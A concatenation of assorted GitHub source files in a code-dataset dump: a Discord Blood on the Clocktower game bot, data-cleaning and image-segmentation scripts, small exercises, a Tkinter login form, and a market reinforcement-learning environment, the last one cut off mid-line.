poisoner\n 2. monk\n 3. scarlet woman\n 4. imp\n 5. ravenkeeper\n 6. empath\n 7. fortune teller\n 8. butler\n 9. undertaker\n 10. spy\n \"\"\"\n if self.gamemode == Gamemode.trouble_brewing:\n\n from botc.gamemodes.troublebrewing._utils import TBRole\n\n night_1_order = [\n\n TBRole.poisoner,\n TBRole.washerwoman,\n TBRole.librarian,\n TBRole.investigator,\n TBRole.chef,\n TBRole.empath,\n TBRole.fortuneteller,\n TBRole.butler,\n TBRole.spy\n\n ]\n\n night_regular_order = [\n\n TBRole.poisoner, # Poison\n TBRole.monk, # Protect\n TBRole.scarletwoman, # Let her know of any demon promotion\n TBRole.soldier, # Add the safe from demon status effect if not droisoned\n TBRole.imp, # Save the kill target\n TBRole.empath,\n TBRole.fortuneteller,\n TBRole.butler,\n TBRole.undertaker, # Send the executed player's role\n TBRole.spy\n\n ]\n\n # Night 1 order\n if self._chrono.is_night_1():\n for character_enum in night_1_order:\n list_of_characters = BOTCUtils.get_players_from_role_name(character_enum)\n for character in list_of_characters:\n await character.role.ego_self.process_night_ability(character)\n\n # Regular night order\n else:\n for character_enum in night_regular_order:\n list_of_characters = BOTCUtils.get_players_from_role_name(character_enum)\n for character in list_of_characters:\n await character.role.ego_self.process_night_ability(character)\n\n def has_received_all_expected_dawn_actions(self):\n \"\"\"Check if all players with expected dawn actions have submitted them\"\"\"\n for player in self.sitting_order:\n if not player.role.true_self.has_finished_dawn_action(player):\n return False\n return True\n\n def has_received_all_expected_night_actions(self):\n \"\"\"Check if all players with expected night actions have submitted them\"\"\"\n for player in self.sitting_order:\n if not player.role.true_self.has_finished_night_action(player):\n return False\n return True\n\n @property\n def nb_alive_players(self):\n \"\"\"Return the number of alive players (apparently alive state)\"\"\"\n count = 0\n for player in self.sitting_order:\n if player.is_apparently_alive():\n count += 1\n return count\n\n @property\n def list_alive_players(self):\n \"\"\"Return the list of alive players (truly alive state)\"\"\"\n return [player for player in self.sitting_order if player.is_alive()]\n\n async def check_winning_conditions(self):\n \"\"\"Check if the game has reached the winning conditons. Promote new demons or\n end the game is necessary.\n \"\"\"\n\n # Less than or equal to 2 alive players. Winning condition is definitely triggered.\n if self.nb_alive_players <= 2:\n\n # There are still alive demons. The game is over with Evil win.\n if BOTCUtils.has_alive_demons():\n self.winners = Team.evil\n self.gameloop.cancel()\n\n # There is no alive demon. The game is over with Good win.\n else:\n self.winners = Team.good\n self.gameloop.cancel()\n\n # More than 2 players still alive.\n else:\n\n # There are still alive demons.\n if BOTCUtils.has_alive_demons():\n # There is at least one alive good player. The game continues.\n alives = self.list_alive_players\n for player in alives:\n if player.role.true_self.is_good():\n return\n # The remaining players are all evil. The demon can't be nominated, and evil wins.\n else:\n self.winners = Team.evil\n self.gameloop.cancel()\n\n # There is no alive demon. The game is over with Good win.\n else:\n self.winners = Team.good\n self.gameloop.cancel()\n\n async def end_game(self):\n \"\"\"End the game, compute winners etc.\n Must be implemented.\n \"\"\"\n # Send the lobby game conclusion message\n await self.send_lobby_closing_message()\n # Remove roles\n await botutils.remove_all_alive_dead_roles_after_game()\n # Unload extensions\n if self.gamemode == Gamemode.trouble_brewing:\n globvars.client.unload_extension(\"botc.commands.abilities.tb\")\n globvars.client.unload_extension(\"botc.commands.townhall\")\n globvars.client.unload_extension(\"botc.commands.debug\")\n # Load conflicting commands\n for extension in CONFLICTING_CMDS:\n globvars.client.load_extension(extension)\n # Log the game\n await botutils.log(botutils.Level.info, \"Game finished\")\n # Stop various loops from running\n from botc.gameloops import nomination_loop, base_day_loop\n # Stop the nomination loop if it is running\n if nomination_loop.is_running():\n nomination_loop.cancel()\n # Stop the base day loop if it is running\n if base_day_loop.is_running():\n base_day_loop.cancel()\n # Stop the debate timer loop if it is running\n if debate_timer.is_running():\n debate_timer.cancel()\n # Clear the game object\n self.__init__()\n globvars.master_state.game = None\n # Unlock the lobby channel\n await botutils.unlock_lobby()\n # Update the global state\n botutils.update_state_machine()\n\n async def make_nightfall(self):\n \"\"\"Transition the game into night phase\"\"\"\n\n # Initialize the temporary night data set\n self.init_temporary_night_data()\n\n # Store the starting time\n self.night_start_time = datetime.datetime.now()\n\n # Initialize the master switches at the start of a phase\n import botc.switches\n botc.switches.init_switches()\n\n # Stop all tasks of the day phase\n if nomination_loop.is_running():\n nomination_loop.cancel()\n if base_day_loop.is_running():\n base_day_loop.cancel()\n if debate_timer.is_running():\n debate_timer.cancel()\n\n # Move the chrono forward by one phase\n self._chrono.next()\n\n # Prepare the phase announcement message\n embed = discord.Embed(\n description = botutils.BotEmoji.moon + \" \" + nightfall,\n color = CARD_NIGHT\n )\n embed.set_footer(text = copyrights_str)\n embed.set_image(url = nightfall_image)\n embed.timestamp = datetime.datetime.utcnow()\n await botutils.send_lobby(message = \"\", embed = embed)\n\n # Reset the nomination data for the previous day phase\n for player in self.sitting_order:\n player.reset_nomination()\n\n async def make_dawn(self):\n \"\"\"Transition the game into dawn/interlude phase\"\"\"\n\n # Initalize the temporary dawn data\n self.init_temporary_dawn_data()\n\n # Store the starting time\n self.dawn_start_time = datetime.datetime.now()\n\n # Initialize the master switches at the start of a phase\n import botc.switches\n botc.switches.init_switches()\n\n # Move the chrono forward by one phase\n self._chrono.next()\n\n # Prepare the phase announcement message\n embed = discord.Embed(\n description = botutils.BotEmoji.sunrise + \" \" + dawn,\n color = CARD_DAWN\n )\n embed.set_footer(text = copyrights_str)\n embed.set_image(url = dawn_image)\n embed.timestamp = datetime.datetime.utcnow()\n await botutils.send_lobby(message = \"\", embed = embed)\n\n async def make_daybreak(self):\n \"\"\"Transition the game into day phase\"\"\"\n\n # Initialize the temporary day data set\n self.init_temporary_day_data()\n\n # Store the starting time\n self.day_start_time = datetime.datetime.now()\n\n # Initialize the master switches at the start of a phase\n import botc.switches\n botc.switches.init_switches()\n\n # Move the chrono forward by one phase\n self._chrono.next()\n\n # Prepare the phase announcement message\n # Night 1 end is Storyteller death\n if self._chrono.cycle == 1 and self._chrono.phase == Phase.day:\n final_death_message = storyteller_death\n\n # Not night 1 end, we look at the death list\n else:\n\n night_deaths_names = [player.game_nametag for player in self.night_deaths]\n night_deaths_names = list(set(night_deaths_names))\n\n if len(night_deaths_names) == 0:\n death_messages = strings[\"lore\"][\"night_death\"][\"zero\"][\"outputs\"]\n death_weights = strings[\"lore\"][\"night_death\"][\"zero\"][\"weights\"]\n death_msg = random.choices(\n death_messages,\n weights = death_weights\n )\n final_death_message = death_msg[0]\n\n elif len(night_deaths_names) == 1:\n death_messages = strings[\"lore\"][\"night_death\"][\"singular\"][\"outputs\"]\n death_weights = strings[\"lore\"][\"night_death\"][\"singular\"][\"weights\"]\n death_msg = random.choices(\n death_messages,\n weights = death_weights\n )\n final_death_message = death_msg[0]\n final_death_message = final_death_message.format(\n botutils.BotEmoji.murder,\n night_deaths_names[0]\n )\n\n else:\n death_messages = strings[\"lore\"][\"night_death\"][\"plural\"][\"outputs\"]\n death_weights = strings[\"lore\"][\"night_death\"][\"plural\"][\"weights\"]\n death_msg = random.choices(\n death_messages,\n weights = death_weights\n )\n final_death_message = death_msg[0]\n final_death_message = final_death_message.format(\n botutils.BotEmoji.murder,\n \", \".join(night_deaths_names)\n )\n\n embed = discord.Embed(\n description = botutils.BotEmoji.sun + \" \" + daybreak + \" \" + final_death_message,\n color = CARD_DAY\n )\n embed.set_footer(text = copyrights_str)\n embed.set_image(url = daybreak_image)\n embed.timestamp = datetime.datetime.utcnow()\n\n await botutils.send_lobby(message = \"\", embed = embed)\n\n def generate_role_set(self):\n \"\"\"Generate a list of roles according to the number of players\"\"\"\n\n num_player = len(self._member_obj_list)\n\n # Incorrect number of players\n if num_player > self.MAX_PLAYERS:\n raise TooManyPlayers(\"Must be 15 players or less.\")\n\n elif num_player < self.MIN_PLAYERS:\n raise TooFewPlayers(\"Must be 5 players or more.\")\n\n # Correct number of players\n else:\n role_guide = RoleGuide(num_player)\n nb_townsfolk = role_guide.nb_townsfolks\n nb_outsider = role_guide.nb_outsiders\n nb_minion = role_guide.nb_minions\n nb_demon = role_guide.nb_demons\n\n # Trouble brewing mode\n if self.gamemode == Gamemode.trouble_brewing:\n\n tb_townsfolk_all = BOTCUtils.get_role_list(TroubleBrewing, Townsfolk)\n tb_outsider_all = BOTCUtils.get_role_list(TroubleBrewing, Outsider)\n tb_minion_all = BOTCUtils.get_role_list(TroubleBrewing, Minion)\n tb_demon_all = BOTCUtils.get_role_list(TroubleBrewing, Demon)\n\n ret_townsfolk = random.sample(tb_townsfolk_all, nb_townsfolk)\n ret_outsider = random.sample(tb_outsider_all, nb_outsider)\n ret_minion = random.sample(tb_minion_all, nb_minion)\n ret_demon = random.sample(tb_demon_all, nb_demon)\n\n final_townsfolk = ret_townsfolk.copy()\n final_outsider = ret_outsider.copy()\n final_minion = ret_minion.copy()\n final_demon = ret_demon.copy()\n\n prelim = ret_townsfolk + ret_outsider + ret_minion + ret_demon\n\n for role in prelim:\n setup_next = role.exec_init_setup(final_townsfolk, final_outsider, final_minion, final_demon)\n final_townsfolk = setup_next[0]\n final_outsider = setup_next[1]\n final_minion = setup_next[2]\n final_demon = setup_next[3]\n\n setup = final_townsfolk + final_outsider + final_minion + final_demon\n random.shuffle(setup)\n\n return setup\n\n # Bad moon rising mode\n elif self.gamemode == Gamemode.bad_moon_rising:\n pass\n\n # Sects and violets mode\n elif self.gamemode == Gamemode.sects_and_violets:\n pass\n\n else:\n raise GameError(\"Gamemode is not one of available BoTC editions.\")\n\n def distribute_roles(self, role_obj_list, member_obj_list):\n \"\"\"Distribute the roles to the players\"\"\"\n\n if len(role_obj_list) != len(member_obj_list):\n raise GameError(\"Number of players not matching number of roles generated\")\n\n else:\n ret = []\n for member in member_obj_list:\n role_obj = role_obj_list.pop()\n player_obj = Player(member, role_obj)\n ret.append(player_obj)\n\n self._player_obj_list = ret\n\n def generate_frozen_sitting(self):\n \"\"\"Freeze the sittings of the table around the game table\"\"\"\n\n random.shuffle(self.player_obj_list)\n self._sitting_order = tuple(self._player_obj_list)\n globvars.logging.info(f\"Sitting Order {str(self._sitting_order)}\")\n\n def __repr__(self):\n return \"Blood on the Clocktower\"\n","repo_name":"Xinverse/Blood-on-the-Clocktower-Storyteller-Discord-Bot","sub_path":"botc/Game.py","file_name":"Game.py","file_ext":"py","file_size_in_byte":38956,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"47"} +{"seq_id":"40244434873","text":"\n\n\n# This File is for cleaning the three files in the root of the train folder of the\n# UCI HAR Dataset and cleaning the column names which are in the features.txt file in the root\n\nimport re\nimport pandas as pd\n\n# column names except for activity\nf = open('../datasets/UCI HAR Dataset/features.txt', 'r+')\ncolumns = f.read()\ncolumns = re.split(r'\\n', columns)\n\n# Subject Values\nf = open('../datasets/UCI HAR Dataset/train/subject_train.txt', 'r+')\nsrows = f.read()\nsrows = re.split(r'\\n', srows)\n\n# Activity values\nf = open('../datasets/UCI HAR Dataset/train/y_train.txt', 'r+')\nyrows = f.read()\nyrows = re.split(r'\\n', yrows)\n\n# All other values\nf = open('../datasets/UCI HAR Dataset/train/x_train.txt', 'r+')\nxrows = f.read()\nxrows = re.split(r'\\n', xrows)\n\n\nn = 0\n\n# replacing numbers with actual activity \nfor r in yrows:\n yrows[n] = re.sub(r'1', 'WALKING', yrows[n])\n yrows[n] = re.sub(r'2', 'WALKING_UPSTAIRS', yrows[n])\n yrows[n] = re.sub(r'3', 'WALKING_DOWNSTAIRS', yrows[n])\n yrows[n] = re.sub(r'4', 'SITTING', yrows[n])\n yrows[n] = re.sub(r'5', 'STANDING', yrows[n])\n yrows[n] = re.sub(r'6', 'LAYING', yrows[n])\n n += 1\n\n\ni = 0\n# cleaning the data; removing line numbers, '()','-',',' and repeating words\nfor col in columns:\n columns[i] = re.sub(r'(\\d* )|(\\()|(\\))','', columns[i])\n columns[i] = re.sub(r',','-', columns[i])\n columns[i] = re.sub(r'-','.', columns[i])\n columns[i] = re.sub(r'\\b[a-z](\\w+)(\\1)+', r'\\1', columns[i])\n i += 1\n\n\n\n# code pulled from stackover flow question 480214 to remove duplicates\n# Doesn't seem like there are any duplicates though\nfrom collections import OrderedDict\nlist(OrderedDict.fromkeys(columns))\n\n# remove empty values\ncolumns = filter(None, columns)\nyrows = filter(None, yrows)\nsrows = filter(None, srows)\n\n# created data frames with column values\nsdf = pd.DataFrame(srows, None, ['Subject'])\nydf = pd.DataFrame(yrows, None, ['Activity'])\nxdf = pd.DataFrame(xrows)\nxdf = pd.DataFrame(filter(None, xdf[0].str.split().tolist()), None , columns)\n\n# combined the two data frames\ndf = pd.concat([sdf, ydf, xdf], axis=1)\n\n# convert from scientific notation\ndf = df.convert_objects(convert_numeric=True)\n\n# output all data as csv file\ndf.to_csv('../datasets/UCI HAR Dataset/cleandedData.csv', index=False)\n\n","repo_name":"blaiseyuri/LearnDataScience","sub_path":"Mywork/CleanGyrodata.py","file_name":"CleanGyrodata.py","file_ext":"py","file_size_in_byte":2264,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"537067726","text":" # Script to check if the esophagus is homogenenous in shape in the training dataset and in the predictions\nimport gatetools as gt\nimport time\nimport sys\nimport itk\nimport os\nimport glob\n\nstart_time = time.time()\n\n\ni = 0\na = False\nname = 'sCBCT_HN_%.3i.nii.gz'%(i)\ntrain = 'Task704_Esophagus/labelsTr/sCBCT_HN_%.3i.nii.gz'%(i)\n\n\nwhile i < 92:\n if os.path.exists(train):\n if a == False:\n image_itk = itk.imread(train)\n image = itk.array_view_from_image(image_itk)\n eso = image.copy()\n eso.fill(0)\n mask = image==2\n eso[mask] = 1\n a = True\n \n else:\n image_itk2 = itk.imread(train)\n image_rescale = gt.applyTransformation(input=image_itk2, like=image_itk, force_resample=True, interpolation_mode='NN')\n image_2 = itk.array_view_from_image(image_rescale)\n eso_2 = image_2.copy()\n eso_2.fill(0)\n mask_2 = image_2==2\n eso_2[mask_2] = 1\n eso += eso_2\n\n i += 1\n train = 'Task704_Esophagus/labelsTr/sCBCT_HN_%.3i.nii.gz'%(i)\n\n\n\npred = glob.glob('/export/home/qchaine/nnUnet/nnUNet/nnUNet_trained_models/nnUNet/ensembles/Task704_Esophagus/Predictions/*.gz')\n\nfor prediction in pred:\n if prediction == pred[0]:\n image_pred_itk = itk.imread(prediction)\n image_pred = itk.array_view_from_image(image_pred_itk)\n eso_pred = image_pred.copy()\n eso_pred.fill(0)\n mask_pred = image_pred==2\n eso_pred[mask_pred] = 1\n \n else:\n image_pred_itk2 = itk.imread(prediction)\n image_pred_rescale = gt.applyTransformation(input=image_pred_itk2, like=image_pred_itk, force_resample=True, interpolation_mode='NN')\n image_pred_2 = itk.array_view_from_image(image_pred_rescale)\n eso_pred_2 = image_pred_2.copy()\n eso_pred_2.fill(0)\n mask_pred_2 = image_pred_2==2\n eso_pred_2[mask_pred_2] = 1\n eso_pred += eso_pred_2 \n\n\n\nsave = itk.image_from_array(eso)\nsave.CopyInformation(image_itk) # Important to save the image with correct spacing, size!!\nitk.imwrite(save, 'Esophagus_sum.nii')\n\n\nsave_pred = itk.image_from_array(eso_pred)\nsave_pred.CopyInformation(image_pred_itk) # Important to save the image with correct spacing, size!!\nitk.imwrite(save_pred, 'Esophagus_pred_sum.nii')\n\nduree = time.time() - start_time\nprint ('\\nTotal running time : %5.3g s' % duree)\n\n","repo_name":"QuentinCS/Segmentation_HN_CBCT","sub_path":"Divers/verif_esophagus.py","file_name":"verif_esophagus.py","file_ext":"py","file_size_in_byte":2420,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"17186061536","text":"import configparser\nimport os\n\ndef loadConfig(key = False):\n\t\n\tconfig = configparser.ConfigParser()\t\n\tconfig.read('conf.ini')\n\n\treturn config if False == key else config[key]\n\ndef notify(key):\n\n\tconfig = loadConfig(key)\n\n\tcmd = 'curl -X POST --data-urlencode \"payload={\\\\\"text\\\\\": \\\\\"%s\\\\\"}\" %s' % (config['message'], config['slack_url'])\n\t\n\tos.system(cmd)","repo_name":"facfelipe/database-backup-tools","sub_path":"lib/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":356,"program_lang":"python","lang":"fa","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"26740056445","text":"import re\nregex = re.compile(\"(\\d+)-(\\d+) (\\w): (\\w+)\")\ncorrect = 0\nwith open(\"2a_input.txt\") as f:\n for i in f.readlines():\n match = regex.match(i)\n start, end, char, string = match.groups()\n correct += int(start) <= string.count(char) <= int(end)\n\nprint(correct)\n","repo_name":"muddyfish/AOC2020","sub_path":"2a.py","file_name":"2a.py","file_ext":"py","file_size_in_byte":289,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"25737722179","text":"'''\nThis program is going to return a list of the n-th fibonacci numbers.\nINPUT: Number of required fibonacci \nOutput: List of len(INPUT)\n'''\n\nfrom typing import List\n\ndef recur_fibo(n):\n my_liste =[]\n for num in list(range(n)):\n if num<=1:\n my_liste.append(1)\n else:\n my_liste.append(my_liste[num-1] + my_liste[num-2])\n return(my_liste)\n\n\n\nif __name__ == \"__main__\":\n n = 20\n my_recur_fibo = recur_fibo(n)\n print(my_recur_fibo)\n\n\n","repo_name":"frederikveslum/Objectorientated-programming","sub_path":"udemy/n-th_fibonacci.py","file_name":"n-th_fibonacci.py","file_ext":"py","file_size_in_byte":485,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"26302283238","text":"def is_palindrome(input: str) -> bool:\n test = input[::-1]\n return test == input\n\n\ndef is_palindrome2(input: str) -> bool:\n up_to_index: int = int(len(input) / 2)\n if len(input) % 2 == 0:\n up_to_index -= 1\n print(f\"{len(input)}: {up_to_index}\")\n test = input[:up_to_index:-1]\n print(f\"{input}: {test}\")\n return input.startswith(test)\n\n\ndef is_palindrome3(input: str) -> bool:\n up_to_index: int = int(len(input) / 2)\n print(f\"{len(input)}: {up_to_index}\")\n for i in range(up_to_index):\n if input[i] == input[len(input) - 1 - i]:\n continue\n else:\n return False\n return True\n","repo_name":"cartkid/practice","sub_path":"src/palindrome.py","file_name":"palindrome.py","file_ext":"py","file_size_in_byte":651,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"35936889453","text":"import pandas as pd\nimport numpy as np\nimport copy\nimport tempfile\nimport argparse\n\n\ndef prep_time(values, period):\n return np.sin(2 * np.pi * values / period), np.cos(2 * np.pi * values / period)\n\n\nparser = argparse.ArgumentParser(description=\"Preprocess the dataset\")\nparser.add_argument(\n \"-d\",\n \"--dataset\",\n required=True,\n metavar=\"dataset_name\",\n type=str,\n help=\"the name of the dataset\",\n)\n\nargs = parser.parse_args()\ndf_name = args.dataset\n\ndf = pd.read_csv(df_name, engine=\"pyarrow\")\n\nuser_dict = {}\nuser_count = {}\nfor user, product in zip(df[\"user_id\"], df[\"product\"]):\n if user not in user_count:\n user_count[user] = {}\n if product in user_count[user]:\n user_count[user][product] += 1\n else:\n user_count[user][product] = 1\nuser_dict = copy.deepcopy(user_count)\nfor user in user_dict:\n total = sum(user_dict[user].values())\n for product in user_dict[user]:\n user_dict[user][product] /= total\n\naux_df = (\n df.groupby(\"store\", as_index=False)[[\"user_id\"]]\n .agg([\"count\", \"nunique\"])\n .reset_index()\n)\nwith tempfile.NamedTemporaryFile(suffix=\".csv\", delete=False) as temp_file:\n aux_df.to_csv(temp_file.name, index=False)\n store_df = pd.read_csv(temp_file.name, index_col=0)\nstore_dict = store_df.to_dict(\"index\")\nitem_total_dict = {}\nitem_unique_dict = {}\nitem_helper = {}\n\nfor user, product, local in zip(df[\"user_id\"], df[\"product\"], df[\"store\"]):\n if product not in item_helper:\n item_total_dict[product] = 0\n item_unique_dict[product] = 0\n item_helper[product][\"user_list\"] = []\n if user not in item_helper[product][\"user_list\"]:\n item_helper[product][\"user_list\"].append(user)\n item_unique_dict[product] += 1 / store_dict[local][\"nunique\"]\n item_total_dict[product] += 1 / store_dict[local][\"count\"]\n\ndf[\"hour\"] = pd.to_datetime(df[\"Fecha\"]).dt.hour\ndf[\"weekday\"] = pd.to_datetime(df[\"Fecha\"]).dt.weekday\ndf[\"monthday\"] = pd.to_datetime(df[\"Fecha\"]).dt.day\ndf[\"month\"] = pd.to_datetime(df[\"Fecha\"]).dt.month\n\ndf[\"sin_hour\"], df[\"cos_hour\"] = prep_time(df[\"hour\"], 24)\ndf[\"sin_weekday\"], df[\"cos_weekday\"] = prep_time(df[\"weekday\"], 7)\ndf[\"sin_monthday\"], df[\"cos_monthday\"] = prep_time(df[\"monthday\"], 30)\ndf[\"sin_month\"], df[\"cos_month\"] = prep_time(df[\"month\"], 12)\n\ndf[\"ranking\"] = df.apply(\n lambda x: user_dict[x[\"user_id\"]][x[\"product\"]]\n + 0.1\n * (1 - 1 / len(user_dict[x[\"user_id\"]]))\n * np.random.uniform(\n item_total_dict[x[\"product\"]], 1 - item_unique_dict[x[\"product\"]]\n ),\n axis=1,\n)\n\ndf_prep_retrieval = df[[\"user_id\", \"product\"]]\ndf_prep_ranking = df[\n [\n \"user_id\",\n \"product\",\n \"PRECIO\",\n \"sin_hour\",\n \"cos_hour\",\n \"sin_weekday\",\n \"cos_weekday\",\n \"sin_monthday\",\n \"cos_monthday\",\n \"sin_month\",\n \"cos_month\",\n \"ranking\",\n ]\n]\n\ndf_prep_retrieval.to_parquet(\"datasets/retrieval/data_prep.parquet\", index=False)\ndf_prep_ranking.to_parquet(\"datasets/ranking/data_prep.parquet\", index=False)\n","repo_name":"ftcister/Cropy-Recommender-System","sub_path":"data_prep.py","file_name":"data_prep.py","file_ext":"py","file_size_in_byte":3058,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"28717096155","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nDetecting Covid-19 from chest X-ray\r\nCreated on Tue May 23 19:58:52 2023\r\n@author: Soura\r\n\"\"\"\r\nimport pandas as pd\r\nimport os\r\nimport shutil\r\n\r\nFILE_PATH= \"metadata.csv\"\r\nIMAGES_PATH= \"images\"\r\ndf= pd.read_csv(FILE_PATH)\r\n\r\n## Creating a folder in dataset using od module\r\nTARGET_DIR= 'Dataset\\\\covid'\r\nif not os.path.exists(TARGET_DIR):\r\n os.mkdir(TARGET_DIR)\r\n print(\"Covid folder created\")\r\n \r\ncnt=0\r\nfor (i,row) in df.iterrows():\r\n if row[\"finding\"]== \"Pneumonia/Viral/COVID-19\":\r\n cnt+=1\r\nprint(cnt) ## 584\r\n\r\n\r\n## We only need X_rays having front views not side or back views\r\ncnt=0\r\nfor (i,row) in df.iterrows():\r\n if row[\"finding\"]== \"Pneumonia/Viral/COVID-19\" and row[\"view\"]== \"PA\":\r\n filename= row[\"filename\"]\r\n image_path= os.path.join(IMAGES_PATH,filename)\r\n image_copy_path= os.path.join(TARGET_DIR,filename)\r\n shutil.copy2(image_path,image_copy_path)\r\n print(\"Moving image\", cnt)\r\n cnt+=1\r\nprint(cnt) ## 196\r\n\r\n# Sampling of images from kaggle\r\nimport random\r\nKAGGLE_FILE_PATH= \"chest_xray/train/NORMAL\"\r\nTARGET_NORMAL_DIR= \"Dataset/Normal\"\r\n\r\nimage_names= os.listdir(KAGGLE_FILE_PATH)\r\nimage_names\r\nrandom.shuffle(image_names)\r\n\r\nfor i in range(196):\r\n image_name= image_names[i]\r\n image_path= os.path.join(KAGGLE_FILE_PATH, image_name)\r\n \r\n target_path= os.path.join(TARGET_NORMAL_DIR, image_name)\r\n shutil.copy(image_path, target_path)\r\n print(\"Copying image\", i) \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"Souravdani/Covid19-prediction-using-chest-X_ray","sub_path":"primary_code.py","file_name":"primary_code.py","file_ext":"py","file_size_in_byte":1542,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"20963025890","text":"from tkinter import Tk, Button, Frame, messagebox, simpledialog, Label, Entry, ttk\nfrom xml.dom import ValidationErr\nfrom Datos import *;\n\nventana = Tk()\nventana.title('Inicio de sesión - Practica 12')\nventana.geometry('300x400')\n\nseccionCorreo = Frame(ventana, bg='#EBEBEB')\nseccionCorreo.pack(expand = True, fill='both')\n\nseccionContraseña = Frame(ventana, bg='#EBEBEB')\nseccionContraseña.pack(expand = True, fill='both')\n\nseccionBoton = Frame(ventana, bg='#EBEBEB')\nseccionBoton.pack(expand = True, fill='both')\n\nsolicitudCorreo = Label(seccionCorreo, text='Ingrese su correo: ')\nsolicitudCorreo.place(x=50, y=50)\ncorreoP = ttk.Entry(seccionCorreo)\ncorreoP.place(x=150, y=50)\n\nsolicitudContraseña = Label(seccionContraseña, text='Ingrese su contraseña: ')\nsolicitudContraseña.place(x=25, y=50)\ncontraseñaP = ttk.Entry(seccionContraseña, show='*')\ncontraseñaP.place(x=150, y=50)\n\ncorr = '121037801@upq.edu.mx'\ncont = '121037801'\n\n\nvalidacion = Datos(correoP, contraseñaP, corr, cont)\n\nbotonValidar = Button(seccionBoton, text='Iniciar sesión', command = validacion.Validar)\nbotonValidar.place(x=150, y=50)\n\nventana.mainloop()","repo_name":"PJazminCastro/POOS182","sub_path":"Practicas_P2/VentanaP12.py","file_name":"VentanaP12.py","file_ext":"py","file_size_in_byte":1139,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"34239195338","text":"import gym\r\nfrom gym import spaces\r\nimport numpy as np\r\nfrom pandas import DataFrame\r\nfrom market_datautil import load_all, load_all_test, normalize0, randepisode\r\nfrom stable_baselines.common.env_checker import check_env\r\n\r\nnp.set_printoptions(threshold=20, precision=3, suppress=True, linewidth=200)\r\n\r\nclass Dynamic:\r\n def __init__(self, df:DataFrame, bp, warmup):\r\n self.df = df\r\n self.bp = bp\r\n self.len = self.df.shape[0]\r\n self.pos: int = 0\r\n self.v = 100 # initial value\r\n self.t = 1\r\n self.warmup = warmup\r\n #print(df.head())\r\n\r\n def get_observation(self):\r\n return self.df.iloc[self.t - 1]\r\n\r\n def step(self, a: np.ndarray):\r\n info = self.df.iloc[self.t]\r\n _info = self.df.iloc[self.t - 1]\r\n\r\n a:int = round(a.item()) # just to be sure\r\n\r\n # NOTE: assume investing all your value\r\n # during training for more dramatic reward output\r\n if self.pos == 1:\r\n v_ = self.v * info['Close'] / _info['Close']\r\n else:\r\n v_ = self.v\r\n\r\n if a != self.pos:\r\n transaction_cost = v_ * self.bp * 1E-4\r\n v_ -= transaction_cost\r\n\r\n r = v_ / self.v - 1\r\n # NOTE: v_ - v works too but when the decision making \r\n # sucks ass the v gets very small and punishment will diminish\r\n # for each bad decision!\r\n\r\n self.t += 1\r\n done = self.t >= self.len\r\n self.pos = a\r\n\r\n if self.warmup > 0:\r\n self.warmup -= 1\r\n else:\r\n self.v = v_\r\n return info, r, done\r\n\r\nTRAIN_ASSET_NAMES, TRAIN_ASSET_DFS = load_all()\r\nTEST_ASSET_NAMES, TEST_ASSET_DFS = load_all_test()\r\n\r\nclass MarketEnv(gym.Env):\r\n \"\"\"Custom Environment that follows gym interface\"\"\"\r\n metadata = {'render.modes': ['console']}\r\n\r\n def __init__(self, eplen_min=320, eplen_max=None, bp=50, warmup=299, train=True, epsilon=0.05, repeat=4):\r\n super(MarketEnv, self).__init__()\r\n\r\n self.eplen_min = eplen_min\r\n self.eplen_max = eplen_max\r\n self.bp = bp\r\n self.warmup = warmup\r\n self.train = train\r\n self.epsilon = epsilon\r\n self.repeat = repeat\r\n self.repeat_cnt = 0\r\n\r\n if train:\r\n self.asset_names, self.asset_dfs = TRAIN_ASSET_NAMES, TRAIN_ASSET_DFS\r\n else:\r\n self.asset_names, self.asset_dfs = TEST_ASSET_NAMES, TEST_ASSET_DFS\r\n self.asset_sel = 0\r\n self.dynamic : Dynamic = None\r\n\r\n # 0: doesn't own\r\n # 1: hold\r\n self.action_space = spaces.MultiBinary(1)\r\n \r\n # state: [price, volume, position]\r\n # NOTE: apparently tuple observation space is not supported by\r\n # any algorithms, RIP trying to save training time and accuracy\r\n # self.observation_space = spaces.Tuple((\r\n # spaces.Box(low=np.array([0, 0]),\r\n # high=np.array([1, 1]), dtype=np.float32), # [price, volume]\r\n # spaces.MultiBinary(1) # position [0,1]\r\n # ))\r\n self.observation_space = spaces.Box(low=np.array([0, 0, 0]),\r\n high=np.array([1, 1, 1]), dtype=np.float32)\r\n\r\n def step(self, action: np.ndarray):\r\n # Execute one time step within the environment\r\n info, reward, done = self.dynamic.step(action)\r\n\r\n moreinfo = {\r\n \"portforlio-value\": self.dynamic.v\r\n }\r\n s_ = np.array([info['Close'], info['Volume'], action.item()],\r\n dtype=np.float32)\r\n \r\n #print(s_)\r\n return s_, reward, done, moreinfo\r\n\r\n def reset(self):\r\n # Reset the state of the environment to an initial state\r\n if self.train:\r\n if self.repeat_cnt == 0:\r\n self.asset_sel = np.random.randint(0, len(self.asset_names))\r\n df = self.asset_dfs[self.asset_sel]\r\n hi = self.eplen_max\r\n if hi is None:\r\n hi = df.shape[0]\r\n \r\n if np.random.random() > self.epsilon:\r\n eplen = np.random.randint(round(self.eplen_min + 3* hi)/4,hi)\r\n df = randepisode(df, eplen)\r\n else:\r\n df = df.copy()\r\n f1, f2 = normalize0(df)\r\n else:\r\n df = self.dynamic.df\r\n self.repeat_cnt = (self.repeat_cnt + 1) % self.repeat\r\n else:\r\n df = 